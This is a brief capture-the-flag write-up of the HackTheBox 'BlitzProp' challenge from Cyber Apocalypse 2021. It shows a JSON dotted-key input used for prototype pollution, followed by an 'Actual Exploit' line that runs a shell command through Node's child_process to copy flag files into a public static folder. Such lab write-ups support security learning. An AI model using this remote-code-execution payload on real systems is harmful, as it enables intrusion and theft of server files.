Writeup — BlitzProp — Cyber Apocalypse 2021 — HackTheBox

Initital Stage

entrypoint.sh
{
'song.name': 'my fav song'
}
{
song: {
name: 'my fav song'
}
}

Actual Exploit

process.mainModule.require('child_process').execSync('cat /app/flag* > /app/static/out')

Theoretical Physicist and Software Developer